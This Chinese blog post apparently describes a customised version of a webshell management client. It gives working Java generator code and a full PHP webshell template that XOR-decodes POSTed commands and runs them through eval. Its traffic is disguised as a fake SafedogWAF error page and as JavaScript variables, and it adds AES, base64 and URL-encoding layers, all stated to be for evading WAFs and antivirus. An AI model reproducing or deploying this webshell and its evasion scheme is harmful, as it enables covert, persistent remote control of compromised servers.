数据包样式
先上对比图,前三个为老版本,后三个为二开后的。密码默认password,密钥key
EVAL_XOR



手动隔开



XOR_RAW



隔开



XOR



手动隔开



代码修改
EVAL_XOR
代码中集成了小刚师傅的免杀https://github.com/xiaogang000/XG_NTAI

首先是对模板文件生成逻辑的修改,在原有的基础上添加小刚师傅中的PhpEncodeDemo5加密脚本,生成出来的webshell会先按照既定的路线替换掉里面的secretkey和pass,然后加密,添加html代码,最后返回
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
byte[] data = null;
try {
InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "base164.bin"));
String code = new String(functions.readInputStream(inputStream));
inputStream.close();
code = code.replace("{pass}", pass).replace("{secretKey}", secretKey);
// 调用 PhpEncodeDemo5 进行加密
PhpEncodeDemo5 encoder = new PhpEncodeDemo5("", code, secretKey);
String[] encodedData = encoder.Run();
String encryptedCode = encodedData[0]; // 加密后的 PHP 代码
String fakeHtml = new HtmlPretend().GetPhp("SafedogWAF", "405");
String finalCode = encryptedCode + fakeHtml;
data = finalCode.getBytes(StandardCharsets.UTF_8);
} catch (Exception e) {
Log.error(e);
}
return data;
}

加密的内容大致长这样

包含html代码的目的是为了绕waf,访问上传的文件可以看到伪造的waf页面

然后是对模板文件修改
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&10];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='{pass}';
$payloadName='payload';
$key='{secretKey}';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
$rev = strrev($pass);
$left = substr(md5($rev . $key), 0, 8);
$replacedString = str_replace("Generate", $left, "var PhotoGraph_Generate_Name=");
header('Content-Type: text/html');
echo '<!DOCTYPE html>';
echo '<html lang="en">';
echo '<head>';
echo '<meta charset="UTF-8">';
echo '<title>GetPhotograph</title>';
echo '</head>';
echo '<body>';
echo '<script>';
echo '<!-- Edge Button BEGIN -->';
echo '</br>';
echo '<script type="text/javascript" id="Edgeclick_js" data="type=slide&img=8&pos=right&uid=324242"></script>';
echo '<script type="text/javascript" id="Edgeclick_js"></script>';
echo '<script type="text/javascript">';
echo $replacedString;
echo base64_encode(encode(@run($data),$key));
echo ";";
echo 'document.getElementById("Edgeclick_js").src = "https://pss.bdstatic.com/static/superman/js/s_super_async-80d96816da.js"';
echo '</script>';
echo '</script>';
echo '</body>';
echo '</html>';
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
正常数据包会只返回加密值,我想添加html代码将他返回值嵌入进去,伪造成一个变量的样子,于是添加了echo语句作为输出。响应包被提取内容时,会调用源码中的findstr函数匹配左边和右边的内容,原来的内容是md5+base64+md5,我把它修改成md5+base64+分号

然后对异或函数进行修改,异或两次,目的是匹配模板文件中的encode(),这里的cs通过异或加密传给$pass,$pass和$key再异或解密就得到模板文件payload.php里面的内容

在初始化函数中修改匹配规则,对应上面的MD5+base64+分号
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX().getBytes();
this.pass = this.shell.getPassword();
// String findStrMd5 = functions.md5(this.shell.getSecretKey() + new String(this.key));
// this.findStrLeft = findStrMd5.substring(0, 16);
// this.findStrRight = findStrMd5.substring(16);
StringBuilder stringBuilder = new StringBuilder(this.shell.getSecretKey());
String reversed = stringBuilder.reverse().toString();
String findStrMd5 = functions.md5(reversed + new String(this.key));
String md5Prefix = findStrMd5.substring(0, 8);
this.findStrLeft1 = "var PhotoGraph_Generate_Name=";
this.findStrLeft = this.findStrLeft1.replace("Generate", md5Prefix);
this.findStrRight = ";";
try {
this.evalContent = this.generateEvalContent();
} catch (Exception e) {
throw new RuntimeException(e);
}
try {
this.payload = this.shell.getPayloadModule().getPayload();
if (this.payload != null) {
this.http.sendHttpResponse(this.payload);
this.state = true;
} else {
Log.error("payload Is Null");
}
} catch (Exception e) {
Log.error(e);
return;
}
}

接着对base64.php模板文件中添加aes加密,aes.bin文件中是aes对应php的解码。整个逻辑是先将base64.bin文件中的内容给eval,然后取出aes.bin文件中的内容给code,对eval进行aes加密,替换掉code中多余的<?php,将密文密钥也替换,对其base64加密,两次url加密最后返回
public String generateEvalContent() throws Exception {
String eval = new String(Test.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false)).replace("<?php", "");
// eval = functions.base64EncodeToString(eval.getBytes());
// eval = new StringBuffer(eval).reverse().toString();
boolean isBin = false;
InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "aes.bin"));
String code = new String(functions.readInputStream(inputStream));
inputStream.close();
String key = generateKey();
String encryptedText = encrypt(eval, key);
code = code.replace("{Encode}", encryptedText).replace("{Key}", key).replace("<?php", "");
eval = functions.base64EncodeToString(code.getBytes());
eval = String.format("eval(base64_decode(urldecode('%s')));", URLEncoder.encode(eval));
eval = URLEncoder.encode(eval);
return eval;
}

XOR
这个和上者共用一个模板文件,初始化代码只是少了一个
try {
this.evalContent = this.generateEvalContent();
} catch (Exception e) {
throw new RuntimeException(e);
}
因为我们以这个版本生成的后门就是EVAL_XOR的数据包的第一个参数,因此它在数据包中只会传递一个参数,我们对其初始化的时候可以添加左右参数
private void initAddShellValue() {
this.shellContext = new ShellEntity();
this.urlTextField.setText("http://127.0.0.1/shell.jsp");
this.passwordTextField.setText("pass");
this.secretKeyTextField.setText("key");
this.proxyHostTextField.setText("127.0.0.1");
this.proxyPortTextField.setText("8888");
this.connTimeOutTextField.setText("3000");
this.readTimeOutTextField.setText("60000");
this.remarkTextField.setText(EasyI18N.getI18nString("\u5907\u6ce8"));
this.headersTextArea.setText("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36\n" +
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\n" +
"Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.6,en;q=0.5,zh-TW;q=0.4\n" +
"Accept-Encoding: gzip, deflate, br");
this.leftTextArea.setText("xiubao=1732546098&");
this.rightTextArea.setText("&photo_num=1732546018976432.png");
if (this.currentGroup == null) {
this.currentGroup = "/";
}
}

剩下的部分就和EVAL_XOR一样
XOR_RAW
这个和上两个不一样的是,因为源码中不存在匹配左右两边的字符串,所以不能嵌入html代码进去,会影响读取返回值。加上使用的模板文件和前两个不一样,代码中使用到了file协议读取POST数据包的值,也不能乱添加多余参数,于是就只能暂时针对异或加密,模板文件修改部分

主要可以切换小刚老师的加密模板,对异或加密的函数再修改一下,就能达到绕过waf的效果
Comments NOTHING